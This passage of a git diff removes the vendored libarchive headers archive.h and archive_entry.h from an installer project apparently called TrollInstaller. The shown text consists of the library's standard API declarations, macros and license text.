int archive_write_set_skip_file(struct archive *, - la_int64_t, la_int64_t); - -#if ARCHIVE_VERSION_NUMBER < 4000000 -__LA_DECL int archive_write_set_compression_bzip2(struct archive *) - __LA_DEPRECATED; -__LA_DECL int archive_write_set_compression_compress(struct archive *) - __LA_DEPRECATED; -__LA_DECL int archive_write_set_compression_gzip(struct archive *) - __LA_DEPRECATED; -__LA_DECL int archive_write_set_compression_lzip(struct archive *) - __LA_DEPRECATED; -__LA_DECL int archive_write_set_compression_lzma(struct archive *) - __LA_DEPRECATED; -__LA_DECL int archive_write_set_compression_none(struct archive *) - __LA_DEPRECATED; -__LA_DECL int archive_write_set_compression_program(struct archive *, - const char *cmd) __LA_DEPRECATED; -__LA_DECL int archive_write_set_compression_xz(struct archive *) - __LA_DEPRECATED; -#endif - -/* A convenience function to set the filter based on the code. */ -__LA_DECL int archive_write_add_filter(struct archive *, int filter_code); -__LA_DECL int archive_write_add_filter_by_name(struct archive *, - const char *name); -__LA_DECL int archive_write_add_filter_b64encode(struct archive *); -__LA_DECL int archive_write_add_filter_bzip2(struct archive *); -__LA_DECL int archive_write_add_filter_compress(struct archive *); -__LA_DECL int archive_write_add_filter_grzip(struct archive *); -__LA_DECL int archive_write_add_filter_gzip(struct archive *); -__LA_DECL int archive_write_add_filter_lrzip(struct archive *); -__LA_DECL int archive_write_add_filter_lz4(struct archive *); -__LA_DECL int archive_write_add_filter_lzip(struct archive *); -__LA_DECL int archive_write_add_filter_lzma(struct archive *); -__LA_DECL int archive_write_add_filter_lzop(struct archive *); -__LA_DECL int archive_write_add_filter_none(struct archive *); -__LA_DECL int archive_write_add_filter_program(struct archive *, - const char *cmd); -__LA_DECL int archive_write_add_filter_uuencode(struct archive *); -__LA_DECL int archive_write_add_filter_xz(struct archive *); -__LA_DECL int archive_write_add_filter_zstd(struct archive *); - - -/* A convenience function to set the format based on the code or name. */ -__LA_DECL int archive_write_set_format(struct archive *, int format_code); -__LA_DECL int archive_write_set_format_by_name(struct archive *, - const char *name); -/* To minimize link pollution, use one or more of the following. */ -__LA_DECL int archive_write_set_format_7zip(struct archive *); -__LA_DECL int archive_write_set_format_ar_bsd(struct archive *); -__LA_DECL int archive_write_set_format_ar_svr4(struct archive *); -__LA_DECL int archive_write_set_format_cpio(struct archive *); -__LA_DECL int archive_write_set_format_cpio_bin(struct archive *); -__LA_DECL int archive_write_set_format_cpio_newc(struct archive *); -__LA_DECL int archive_write_set_format_cpio_odc(struct archive *); -__LA_DECL int archive_write_set_format_cpio_pwb(struct archive *); -__LA_DECL int archive_write_set_format_gnutar(struct archive *); -__LA_DECL int archive_write_set_format_iso9660(struct archive *); -__LA_DECL int archive_write_set_format_mtree(struct archive *); -__LA_DECL int archive_write_set_format_mtree_classic(struct archive *); -/* TODO: int archive_write_set_format_old_tar(struct archive *); */ -__LA_DECL int archive_write_set_format_pax(struct archive *); -__LA_DECL int archive_write_set_format_pax_restricted(struct archive *); -__LA_DECL int archive_write_set_format_raw(struct archive *); -__LA_DECL int archive_write_set_format_shar(struct archive *); -__LA_DECL int archive_write_set_format_shar_dump(struct archive *); -__LA_DECL int archive_write_set_format_ustar(struct archive *); -__LA_DECL int archive_write_set_format_v7tar(struct archive *); -__LA_DECL int archive_write_set_format_warc(struct archive *); -__LA_DECL int archive_write_set_format_xar(struct archive *); -__LA_DECL int archive_write_set_format_zip(struct archive *); -__LA_DECL int archive_write_set_format_filter_by_ext(struct archive *a, const char *filename); -__LA_DECL int archive_write_set_format_filter_by_ext_def(struct archive *a, const char *filename, const char * def_ext); -__LA_DECL int archive_write_zip_set_compression_deflate(struct archive *); -__LA_DECL int archive_write_zip_set_compression_store(struct archive *); -/* Deprecated; use archive_write_open2 instead */ -__LA_DECL int archive_write_open(struct archive *, void *, - archive_open_callback *, archive_write_callback *, - archive_close_callback *); -__LA_DECL int archive_write_open2(struct archive *, void *, - archive_open_callback *, archive_write_callback *, - archive_close_callback *, archive_free_callback *); -__LA_DECL int archive_write_open_fd(struct archive *, int _fd); -__LA_DECL int archive_write_open_filename(struct archive *, const char *_file); -__LA_DECL int archive_write_open_filename_w(struct archive *, - const wchar_t *_file); -/* A deprecated synonym for archive_write_open_filename() */ -__LA_DECL int archive_write_open_file(struct archive *, const char *_file) - __LA_DEPRECATED; -__LA_DECL int archive_write_open_FILE(struct archive *, FILE *); -/* _buffSize is the size of the buffer, _used refers to a variable that - * will be updated after each write into the buffer. */ -__LA_DECL int archive_write_open_memory(struct archive *, - void *_buffer, size_t _buffSize, size_t *_used); - -/* - * Note that the library will truncate writes beyond the size provided - * to archive_write_header or pad if the provided data is short. - */ -__LA_DECL int archive_write_header(struct archive *, - struct archive_entry *); -__LA_DECL la_ssize_t archive_write_data(struct archive *, - const void *, size_t); - -/* This interface is currently only available for archive_write_disk handles. */ -__LA_DECL la_ssize_t archive_write_data_block(struct archive *, - const void *, size_t, la_int64_t); - -__LA_DECL int archive_write_finish_entry(struct archive *); -__LA_DECL int archive_write_close(struct archive *); -/* Marks the archive as FATAL so that a subsequent free() operation - * won't try to close() cleanly. Provides a fast abort capability - * when the client discovers that things have gone wrong. */ -__LA_DECL int archive_write_fail(struct archive *); -/* This can fail if the archive wasn't already closed, in which case - * archive_write_free() will implicitly call archive_write_close(). */ -__LA_DECL int archive_write_free(struct archive *); -#if ARCHIVE_VERSION_NUMBER < 4000000 -/* Synonym for archive_write_free() for backwards compatibility. */ -__LA_DECL int archive_write_finish(struct archive *) __LA_DEPRECATED; -#endif - -/* - * Set write options. - */ -/* Apply option to the format only. */ -__LA_DECL int archive_write_set_format_option(struct archive *_a, - const char *m, const char *o, - const char *v); -/* Apply option to the filter only. */ -__LA_DECL int archive_write_set_filter_option(struct archive *_a, - const char *m, const char *o, - const char *v); -/* Apply option to both the format and the filter. */ -__LA_DECL int archive_write_set_option(struct archive *_a, - const char *m, const char *o, - const char *v); -/* Apply option string to both the format and the filter. */ -__LA_DECL int archive_write_set_options(struct archive *_a, - const char *opts); - -/* - * Set a encryption passphrase. - */ -__LA_DECL int archive_write_set_passphrase(struct archive *_a, const char *p); -__LA_DECL int archive_write_set_passphrase_callback(struct archive *, - void *client_data, archive_passphrase_callback *); - -/*- - * ARCHIVE_WRITE_DISK API - * - * To create objects on disk: - * 1) Ask archive_write_disk_new for a new archive_write_disk object. - * 2) Set any global properties. In particular, you probably - * want to set the options. - * 3) For each entry: - * - construct an appropriate struct archive_entry structure - * - archive_write_header to create the file/dir/etc on disk - * - archive_write_data to write the entry data - * 4) archive_write_free to cleanup the writer and release resources - * - * In particular, you can use this in conjunction with archive_read() - * to pull entries out of an archive and create them on disk. - */ -__LA_DECL struct archive *archive_write_disk_new(void); -/* This file will not be overwritten. */ -__LA_DECL int archive_write_disk_set_skip_file(struct archive *, - la_int64_t, la_int64_t); -/* Set flags to control how the next item gets created. - * This accepts a bitmask of ARCHIVE_EXTRACT_XXX flags defined above. */ -__LA_DECL int archive_write_disk_set_options(struct archive *, - int flags); -/* - * The lookup functions are given uname/uid (or gname/gid) pairs and - * return a uid (gid) suitable for this system. These are used for - * restoring ownership and for setting ACLs. The default functions - * are naive, they just return the uid/gid. These are small, so reasonable - * for applications that don't need to preserve ownership; they - * are probably also appropriate for applications that are doing - * same-system backup and restore. - */ -/* - * The "standard" lookup functions use common system calls to lookup - * the uname/gname, falling back to the uid/gid if the names can't be - * found. They cache lookups and are reasonably fast, but can be very - * large, so they are not used unless you ask for them. In - * particular, these match the specifications of POSIX "pax" and old - * POSIX "tar". - */ -__LA_DECL int archive_write_disk_set_standard_lookup(struct archive *); -/* - * If neither the default (naive) nor the standard (big) functions suit - * your needs, you can write your own and register them. Be sure to - * include a cleanup function if you have allocated private data. - */ -__LA_DECL int archive_write_disk_set_group_lookup(struct archive *, - void * /* private_data */, - la_int64_t (*)(void *, const char *, la_int64_t), - void (* /* cleanup */)(void *)); -__LA_DECL int archive_write_disk_set_user_lookup(struct archive *, - void * /* private_data */, - la_int64_t (*)(void *, const char *, la_int64_t), - void (* /* cleanup */)(void *)); -__LA_DECL la_int64_t archive_write_disk_gid(struct archive *, const char *, la_int64_t); -__LA_DECL la_int64_t archive_write_disk_uid(struct archive *, const char *, la_int64_t); - -/* - * ARCHIVE_READ_DISK API - * - * This is still evolving and somewhat experimental. - */ -__LA_DECL struct archive *archive_read_disk_new(void); -/* The names for symlink modes here correspond to an old BSD - * command-line argument convention: -L, -P, -H */ -/* Follow all symlinks. */ -__LA_DECL int archive_read_disk_set_symlink_logical(struct archive *); -/* Follow no symlinks. */ -__LA_DECL int archive_read_disk_set_symlink_physical(struct archive *); -/* Follow symlink initially, then not. */ -__LA_DECL int archive_read_disk_set_symlink_hybrid(struct archive *); -/* TODO: Handle Linux stat32/stat64 ugliness. */ -__LA_DECL int archive_read_disk_entry_from_file(struct archive *, - struct archive_entry *, int /* fd */, const struct stat *); -/* Look up gname for gid or uname for uid. */ -/* Default implementations are very, very stupid. */ -__LA_DECL const char *archive_read_disk_gname(struct archive *, la_int64_t); -__LA_DECL const char *archive_read_disk_uname(struct archive *, la_int64_t); -/* "Standard" implementation uses getpwuid_r, getgrgid_r and caches the - * results for performance. */ -__LA_DECL int archive_read_disk_set_standard_lookup(struct archive *); -/* You can install your own lookups if you like. */ -__LA_DECL int archive_read_disk_set_gname_lookup(struct archive *, - void * /* private_data */, - const char *(* /* lookup_fn */)(void *, la_int64_t), - void (* /* cleanup_fn */)(void *)); -__LA_DECL int archive_read_disk_set_uname_lookup(struct archive *, - void * /* private_data */, - const char *(* /* lookup_fn */)(void *, la_int64_t), - void (* /* cleanup_fn */)(void *)); -/* Start traversal. */ -__LA_DECL int archive_read_disk_open(struct archive *, const char *); -__LA_DECL int archive_read_disk_open_w(struct archive *, const wchar_t *); -/* - * Request that current entry be visited. If you invoke it on every - * directory, you'll get a physical traversal. This is ignored if the - * current entry isn't a directory or a link to a directory. So, if - * you invoke this on every returned path, you'll get a full logical - * traversal. - */ -__LA_DECL int archive_read_disk_descend(struct archive *); -__LA_DECL int archive_read_disk_can_descend(struct archive *); -__LA_DECL int archive_read_disk_current_filesystem(struct archive *); -__LA_DECL int archive_read_disk_current_filesystem_is_synthetic(struct archive *); -__LA_DECL int archive_read_disk_current_filesystem_is_remote(struct archive *); -/* Request that the access time of the entry visited by traversal be restored. */ -__LA_DECL int archive_read_disk_set_atime_restored(struct archive *); -/* - * Set behavior. The "flags" argument selects optional behavior. - */ -/* Request that the access time of the entry visited by traversal be restored. - * This is the same as archive_read_disk_set_atime_restored. */ -#define ARCHIVE_READDISK_RESTORE_ATIME (0x0001) -/* Default: Do not skip an entry which has nodump flags. */ -#define ARCHIVE_READDISK_HONOR_NODUMP (0x0002) -/* Default: Skip a mac resource fork file whose prefix is "._" because of - * using copyfile. */ -#define ARCHIVE_READDISK_MAC_COPYFILE (0x0004) -/* Default: Traverse mount points. */ -#define ARCHIVE_READDISK_NO_TRAVERSE_MOUNTS (0x0008) -/* Default: Xattrs are read from disk. */ -#define ARCHIVE_READDISK_NO_XATTR (0x0010) -/* Default: ACLs are read from disk. */ -#define ARCHIVE_READDISK_NO_ACL (0x0020) -/* Default: File flags are read from disk. */ -#define ARCHIVE_READDISK_NO_FFLAGS (0x0040) -/* Default: Sparse file information is read from disk. */ -#define ARCHIVE_READDISK_NO_SPARSE (0x0080) - -__LA_DECL int archive_read_disk_set_behavior(struct archive *, - int flags); - -/* - * Set archive_match object that will be used in archive_read_disk to - * know whether an entry should be skipped. The callback function - * _excluded_func will be invoked when an entry is skipped by the result - * of archive_match. - */ -__LA_DECL int archive_read_disk_set_matching(struct archive *, - struct archive *_matching, void (*_excluded_func) - (struct archive *, void *, struct archive_entry *), - void *_client_data); -__LA_DECL int archive_read_disk_set_metadata_filter_callback(struct archive *, - int (*_metadata_filter_func)(struct archive *, void *, - struct archive_entry *), void *_client_data); - -/* Simplified cleanup interface; - * This calls archive_read_free() or archive_write_free() as needed. */ -__LA_DECL int archive_free(struct archive *); - -/* - * Accessor functions to read/set various information in - * the struct archive object: - */ - -/* Number of filters in the current filter pipeline. */ -/* Filter #0 is the one closest to the format, -1 is a synonym for the - * last filter, which is always the pseudo-filter that wraps the - * client callbacks. */ -__LA_DECL int archive_filter_count(struct archive *); -__LA_DECL la_int64_t archive_filter_bytes(struct archive *, int); -__LA_DECL int archive_filter_code(struct archive *, int); -__LA_DECL const char * archive_filter_name(struct archive *, int); - -#if ARCHIVE_VERSION_NUMBER < 4000000 -/* These don't properly handle multiple filters, so are deprecated and - * will eventually be removed. */ -/* As of libarchive 3.0, this is an alias for archive_filter_bytes(a, -1); */ -__LA_DECL la_int64_t archive_position_compressed(struct archive *) - __LA_DEPRECATED; -/* As of libarchive 3.0, this is an alias for archive_filter_bytes(a, 0); */ -__LA_DECL la_int64_t archive_position_uncompressed(struct archive *) - __LA_DEPRECATED; -/* As of libarchive 3.0, this is an alias for archive_filter_name(a, 0); */ -__LA_DECL const char *archive_compression_name(struct archive *) - __LA_DEPRECATED; -/* As of libarchive 3.0, this is an alias for archive_filter_code(a, 0); */ -__LA_DECL int archive_compression(struct archive *) - __LA_DEPRECATED; -#endif - -__LA_DECL int archive_errno(struct archive *); -__LA_DECL const char *archive_error_string(struct archive *); -__LA_DECL const char *archive_format_name(struct archive *); -__LA_DECL int archive_format(struct archive *); -__LA_DECL void archive_clear_error(struct archive *); -__LA_DECL void archive_set_error(struct archive *, int _err, - const char *fmt, ...) __LA_PRINTF(3, 4); -__LA_DECL void archive_copy_error(struct archive *dest, - struct archive *src); -__LA_DECL int archive_file_count(struct archive *); - -/* - * ARCHIVE_MATCH API - */ -__LA_DECL struct archive *archive_match_new(void); -__LA_DECL int archive_match_free(struct archive *); - -/* - * Test if archive_entry is excluded. - * This is a convenience function. This is the same as calling all - * archive_match_path_excluded, archive_match_time_excluded - * and archive_match_owner_excluded. - */ -__LA_DECL int archive_match_excluded(struct archive *, - struct archive_entry *); - -/* - * Test if pathname is excluded. The conditions are set by following functions. - */ -__LA_DECL int archive_match_path_excluded(struct archive *, - struct archive_entry *); -/* Control recursive inclusion of directory content when directory is included. Default on. */ -__LA_DECL int archive_match_set_inclusion_recursion(struct archive *, int); -/* Add exclusion pathname pattern. */ -__LA_DECL int archive_match_exclude_pattern(struct archive *, const char *); -__LA_DECL int archive_match_exclude_pattern_w(struct archive *, - const wchar_t *); -/* Add exclusion pathname pattern from file. */ -__LA_DECL int archive_match_exclude_pattern_from_file(struct archive *, - const char *, int _nullSeparator); -__LA_DECL int archive_match_exclude_pattern_from_file_w(struct archive *, - const wchar_t *, int _nullSeparator); -/* Add inclusion pathname pattern. */ -__LA_DECL int archive_match_include_pattern(struct archive *, const char *); -__LA_DECL int archive_match_include_pattern_w(struct archive *, - const wchar_t *); -/* Add inclusion pathname pattern from file. */ -__LA_DECL int archive_match_include_pattern_from_file(struct archive *, - const char *, int _nullSeparator); -__LA_DECL int archive_match_include_pattern_from_file_w(struct archive *, - const wchar_t *, int _nullSeparator); -/* - * How to get statistic information for inclusion patterns. - */ -/* Return the amount number of unmatched inclusion patterns. */ -__LA_DECL int archive_match_path_unmatched_inclusions(struct archive *); -/* Return the pattern of unmatched inclusion with ARCHIVE_OK. - * Return ARCHIVE_EOF if there is no inclusion pattern. */ -__LA_DECL int archive_match_path_unmatched_inclusions_next( - struct archive *, const char **); -__LA_DECL int archive_match_path_unmatched_inclusions_next_w( - struct archive *, const wchar_t **); - -/* - * Test if a file is excluded by its time stamp. - * The conditions are set by following functions. - */ -__LA_DECL int archive_match_time_excluded(struct archive *, - struct archive_entry *); - -/* - * Flags to tell a matching type of time stamps. These are used for - * following functions. - */ -/* Time flag: mtime to be tested. */ -#define ARCHIVE_MATCH_MTIME (0x0100) -/* Time flag: ctime to be tested. */ -#define ARCHIVE_MATCH_CTIME (0x0200) -/* Comparison flag: Match the time if it is newer than. */ -#define ARCHIVE_MATCH_NEWER (0x0001) -/* Comparison flag: Match the time if it is older than. */ -#define ARCHIVE_MATCH_OLDER (0x0002) -/* Comparison flag: Match the time if it is equal to. */ -#define ARCHIVE_MATCH_EQUAL (0x0010) -/* Set inclusion time. */ -__LA_DECL int archive_match_include_time(struct archive *, int _flag, - time_t _sec, long _nsec); -/* Set inclusion time by a date string. */ -__LA_DECL int archive_match_include_date(struct archive *, int _flag, - const char *_datestr); -__LA_DECL int archive_match_include_date_w(struct archive *, int _flag, - const wchar_t *_datestr); -/* Set inclusion time by a particular file. */ -__LA_DECL int archive_match_include_file_time(struct archive *, - int _flag, const char *_pathname); -__LA_DECL int archive_match_include_file_time_w(struct archive *, - int _flag, const wchar_t *_pathname); -/* Add exclusion entry. */ -__LA_DECL int archive_match_exclude_entry(struct archive *, - int _flag, struct archive_entry *); - -/* - * Test if a file is excluded by its uid ,gid, uname or gname. - * The conditions are set by following functions. - */ -__LA_DECL int archive_match_owner_excluded(struct archive *, - struct archive_entry *); -/* Add inclusion uid, gid, uname and gname. */ -__LA_DECL int archive_match_include_uid(struct archive *, la_int64_t); -__LA_DECL int archive_match_include_gid(struct archive *, la_int64_t); -__LA_DECL int archive_match_include_uname(struct archive *, const char *); -__LA_DECL int archive_match_include_uname_w(struct archive *, - const wchar_t *); -__LA_DECL int archive_match_include_gname(struct archive *, const char *); -__LA_DECL int archive_match_include_gname_w(struct archive *, - const wchar_t *); - -/* Utility functions */ -/* Convenience function to sort a NULL terminated list of strings */ -__LA_DECL int archive_utility_string_sort(char **); - -#ifdef __cplusplus -} -#endif - -/* These are meaningless outside of this header. */ -#undef __LA_DECL - -#endif /* !ARCHIVE_H_INCLUDED */ diff --git a/Installer/TrollInstaller/TrollInstaller/headers/archive_entry.h b/Installer/TrollInstaller/TrollInstaller/headers/archive_entry.h deleted file mode 100644 index 64e0f4a..0000000 --- a/Installer/TrollInstaller/TrollInstaller/headers/archive_entry.h +++ /dev/null @@ -1,721 +0,0 @@ -/*- - * Copyright (c) 2003-2008 Tim Kientzle - * Copyright (c) 2016 Martin Matuska - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - * - * $FreeBSD: head/lib/libarchive/archive_entry.h 201096 2009-12-28 02:41:27Z kientzle $ - */ - -#ifndef ARCHIVE_ENTRY_H_INCLUDED -#define ARCHIVE_ENTRY_H_INCLUDED - -/* Note: Compiler will complain if this does not match archive.h! */ -#define ARCHIVE_VERSION_NUMBER 3006002 - -/* - * Note: archive_entry.h is for use outside of libarchive; the - * configuration headers (config.h, archive_platform.h, etc.) are - * purely internal. Do NOT use HAVE_XXX configuration macros to - * control the behavior of this header! If you must conditionalize, - * use predefined compiler and/or platform macros. - */ - -#include -#include /* for wchar_t */ -#include -#include - -#if defined(_WIN32) && !defined(__CYGWIN__) -#include -#endif - -/* Get a suitable 64-bit integer type. */ -#if !defined(__LA_INT64_T_DEFINED) -# if ARCHIVE_VERSION_NUMBER < 4000000 -#define __LA_INT64_T la_int64_t -# endif -#define __LA_INT64_T_DEFINED -# if defined(_WIN32) && !defined(__CYGWIN__) && !defined(__WATCOMC__) -typedef __int64 la_int64_t; -# else -#include -# if defined(_SCO_DS) || defined(__osf__) -typedef long long la_int64_t; -# else -typedef int64_t la_int64_t; -# endif -# endif -#endif - -/* The la_ssize_t should match the type used in 'struct stat' */ -#if !defined(__LA_SSIZE_T_DEFINED) -/* Older code relied on the __LA_SSIZE_T macro; after 4.0 we'll switch to the typedef exclusively. */ -# if ARCHIVE_VERSION_NUMBER < 4000000 -#define __LA_SSIZE_T la_ssize_t -# endif -#define __LA_SSIZE_T_DEFINED -# if defined(_WIN32) && !defined(__CYGWIN__) && !defined(__WATCOMC__) -# if defined(_SSIZE_T_DEFINED) || defined(_SSIZE_T_) -typedef ssize_t la_ssize_t; -# elif defined(_WIN64) -typedef __int64 la_ssize_t; -# else -typedef long la_ssize_t; -# endif -# else -# include /* ssize_t */ -typedef ssize_t la_ssize_t; -# endif -#endif - -/* Get a suitable definition for mode_t */ -#if ARCHIVE_VERSION_NUMBER >= 3999000 -/* Switch to plain 'int' for libarchive 4.0. It's less broken than 'mode_t' */ -# define __LA_MODE_T int -#elif defined(_WIN32) && !defined(__CYGWIN__) && !defined(__BORLANDC__) && !defined(__WATCOMC__) -# define __LA_MODE_T unsigned short -#else -# define __LA_MODE_T mode_t -#endif - -/* Large file support for Android */ -#if defined(__LIBARCHIVE_BUILD) && defined(__ANDROID__) -#include "android_lf.h" -#endif - -/* - * On Windows, define LIBARCHIVE_STATIC if you're building or using a - * .lib. The default here assumes you're building a DLL. Only - * libarchive source should ever define __LIBARCHIVE_BUILD. - */ -#if ((defined __WIN32__) || (defined _WIN32) || defined(__CYGWIN__)) && (!defined LIBARCHIVE_STATIC) -# ifdef __LIBARCHIVE_BUILD -# ifdef __GNUC__ -# define __LA_DECL __attribute__((dllexport)) extern -# else -# define __LA_DECL __declspec(dllexport) -# endif -# else -# ifdef __GNUC__ -# define __LA_DECL -# else -# define __LA_DECL __declspec(dllimport) -# endif -# endif -#else -/* Static libraries on all platforms and shared libraries on non-Windows. */ -# define __LA_DECL -#endif - -#if defined(__GNUC__) && __GNUC__ >= 3 && __GNUC_MINOR__ >= 1 -# define __LA_DEPRECATED __attribute__((deprecated)) -#else -# define __LA_DEPRECATED -#endif - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * Description of an archive entry. - * - * You can think of this as "struct stat" with some text fields added in. - * - * TODO: Add "comment", "charset", and possibly other entries that are - * supported by "pax interchange" format. However, GNU, ustar, cpio, - * and other variants don't support these features, so they're not an - * excruciatingly high priority right now. - * - * TODO: "pax interchange" format allows essentially arbitrary - * key/value attributes to be attached to any entry. Supporting - * such extensions may make this library useful for special - * applications (e.g., a package manager could attach special - * package-management attributes to each entry). - */ -struct archive; -struct archive_entry; - -/* - * File-type constants. These are returned from archive_entry_filetype() - * and passed to archive_entry_set_filetype(). - * - * These values match S_XXX defines on every platform I've checked, - * including Windows, AIX, Linux, Solaris, and BSD. They're - * (re)defined here because platforms generally don't define the ones - * they don't support. For example, Windows doesn't define S_IFLNK or - * S_IFBLK. Instead of having a mass of conditional logic and system - * checks to define any S_XXX values that aren't supported locally, - * I've just defined a new set of such constants so that - * libarchive-based applications can manipulate and identify archive - * entries properly even if the hosting platform can't store them on - * disk. - * - * These values are also used directly within some portable formats, - * such as cpio. If you find a platform that varies from these, the - * correct solution is to leave these alone and translate from these - * portable values to platform-native values when entries are read from - * or written to disk. - */ -/* - * In libarchive 4.0, we can drop the casts here. - * They're needed to work around Borland C's broken mode_t. - */ -#define AE_IFMT ((__LA_MODE_T)0170000) -#define AE_IFREG ((__LA_MODE_T)0100000) -#define AE_IFLNK ((__LA_MODE_T)0120000) -#define AE_IFSOCK ((__LA_MODE_T)0140000) -#define AE_IFCHR ((__LA_MODE_T)0020000) -#define AE_IFBLK ((__LA_MODE_T)0060000) -#define AE_IFDIR ((__LA_MODE_T)0040000) -#define AE_IFIFO ((__LA_MODE_T)0010000) - -/* - * Symlink types - */ -#define AE_SYMLINK_TYPE_UNDEFINED 0 -#define AE_SYMLINK_TYPE_FILE 1 -#define AE_SYMLINK_TYPE_DIRECTORY 2 - -/* - * Basic object manipulation - */ - -__LA_DECL struct archive_entry *archive_entry_clear(struct archive_entry *); -/* The 'clone' function does a deep copy; all of the strings are copied too. */ -__LA_DECL struct archive_entry *archive_entry_clone(struct archive_entry *); -__LA_DECL void archive_entry_free(struct archive_entry *); -__LA_DECL struct archive_entry *archive_entry_new(void); - -/* - * This form of archive_entry_new2() will pull character-set - * conversion information from the specified archive handle. The - * older archive_entry_new(void) form is equivalent to calling - * archive_entry_new2(NULL) and will result in the use of an internal - * default character-set conversion. - */ -__LA_DECL struct archive_entry *archive_entry_new2(struct archive *); - -/* - * Retrieve fields from an archive_entry. - * - * There are a number of implicit conversions among these fields. For - * example, if a regular string field is set and you read the _w wide - * character field, the entry will implicitly convert narrow-to-wide - * using the current locale. Similarly, dev values are automatically - * updated when you write devmajor or devminor and vice versa. - * - * In addition, fields can be "set" or "unset." Unset string fields - * return NULL, non-string fields have _is_set() functions to test - * whether they've been set. You can "unset" a string field by - * assigning NULL; non-string fields have _unset() functions to - * unset them. - * - * Note: There is one ambiguity in the above; string fields will - * also return NULL when implicit character set conversions fail. - * This is usually what you want. - */ -__LA_DECL time_t archive_entry_atime(struct archive_entry *); -__LA_DECL long archive_entry_atime_nsec(struct archive_entry *); -__LA_DECL int archive_entry_atime_is_set(struct archive_entry *); -__LA_DECL time_t archive_entry_birthtime(struct archive_entry *); -__LA_DECL long archive_entry_birthtime_nsec(struct archive_entry *); -__LA_DECL int archive_entry_birthtime_is_set(struct archive_entry *); -__LA_DECL time_t archive_entry_ctime(struct archive_entry *); -__LA_DECL long archive_entry_ctime_nsec(struct archive_entry *); -__LA_DECL int archive_entry_ctime_is_set(struct archive_entry *); -__LA_DECL dev_t archive_entry_dev(struct archive_entry *); -__LA_DECL int archive_entry_dev_is_set(struct archive_entry *); -__LA_DECL dev_t archive_entry_devmajor(struct archive_entry *); -__LA_DECL dev_t archive_entry_devminor(struct archive_entry *); -__LA_DECL __LA_MODE_T archive_entry_filetype(struct archive_entry *); -__LA_DECL void archive_entry_fflags(struct archive_entry *, - unsigned long * /* set */, - unsigned long * /* clear */); -__LA_DECL const char *archive_entry_fflags_text(struct archive_entry *); -__LA_DECL la_int64_t archive_entry_gid(struct archive_entry *); -__LA_DECL const char *archive_entry_gname(struct archive_entry *); -__LA_DECL const char *archive_entry_gname_utf8(struct archive_entry *); -__LA_DECL const wchar_t *archive_entry_gname_w(struct archive_entry *); -__LA_DECL const char *archive_entry_hardlink(struct archive_entry *); -__LA_DECL const char *archive_entry_hardlink_utf8(struct archive_entry *); -__LA_DECL const wchar_t *archive_entry_hardlink_w(struct archive_entry *); -__LA_DECL la_int64_t archive_entry_ino(struct archive_entry *); -__LA_DECL la_int64_t archive_entry_ino64(struct archive_entry *); -__LA_DECL int archive_entry_ino_is_set(struct archive_entry *); -__LA_DECL __LA_MODE_T archive_entry_mode(struct archive_entry *); -__LA_DECL time_t archive_entry_mtime(struct archive_entry *); -__LA_DECL long archive_entry_mtime_nsec(struct archive_entry *); -__LA_DECL int archive_entry_mtime_is_set(struct archive_entry *); -__LA_DECL unsigned int archive_entry_nlink(struct archive_entry *); -__LA_DECL const char *archive_entry_pathname(struct archive_entry *); -__LA_DECL const char *archive_entry_pathname_utf8(struct archive_entry *); -__LA_DECL const wchar_t *archive_entry_pathname_w(struct archive_entry *); -__LA_DECL __LA_MODE_T archive_entry_perm(struct archive_entry *); -__LA_DECL dev_t archive_entry_rdev(struct archive_entry *); -__LA_DECL dev_t archive_entry_rdevmajor(struct archive_entry *); -__LA_DECL dev_t archive_entry_rdevminor(struct archive_entry *); -__LA_DECL const char *archive_entry_sourcepath(struct archive_entry *); -__LA_DECL const wchar_t *archive_entry_sourcepath_w(struct archive_entry *); -__LA_DECL la_int64_t archive_entry_size(struct archive_entry *); -__LA_DECL int archive_entry_size_is_set(struct archive_entry *); -__LA_DECL const char *archive_entry_strmode(struct archive_entry *); -__LA_DECL const char *archive_entry_symlink(struct archive_entry *); -__LA_DECL const char *archive_entry_symlink_utf8(struct archive_entry *); -__LA_DECL int archive_entry_symlink_type(struct archive_entry *); -__LA_DECL const wchar_t *archive_entry_symlink_w(struct archive_entry *); -__LA_DECL la_int64_t archive_entry_uid(struct archive_entry *); -__LA_DECL const char *archive_entry_uname(struct archive_entry *); -__LA_DECL const char *archive_entry_uname_utf8(struct archive_entry *); -__LA_DECL const wchar_t *archive_entry_uname_w(struct archive_entry *); -__LA_DECL int archive_entry_is_data_encrypted(struct archive_entry *); -__LA_DECL int archive_entry_is_metadata_encrypted(struct archive_entry *); -__LA_DECL int archive_entry_is_encrypted(struct archive_entry *); - -/* - * Set fields in an archive_entry. - * - * Note: Before libarchive 2.4, there were 'set' and 'copy' versions - * of the string setters. 'copy' copied the actual string, 'set' just - * stored the pointer. In libarchive 2.4 and later, strings are - * always copied. - */ - -__LA_DECL void archive_entry_set_atime(struct archive_entry *, time_t, long); -__LA_DECL void archive_entry_unset_atime(struct archive_entry *); -#if defined(_WIN32) && !defined(__CYGWIN__) -__LA_DECL void archive_entry_copy_bhfi(struct archive_entry *, BY_HANDLE_FILE_INFORMATION *); -#endif -__LA_DECL void archive_entry_set_birthtime(struct archive_entry *, time_t, long); -__LA_DECL void archive_entry_unset_birthtime(struct archive_entry *); -__LA_DECL void archive_entry_set_ctime(struct 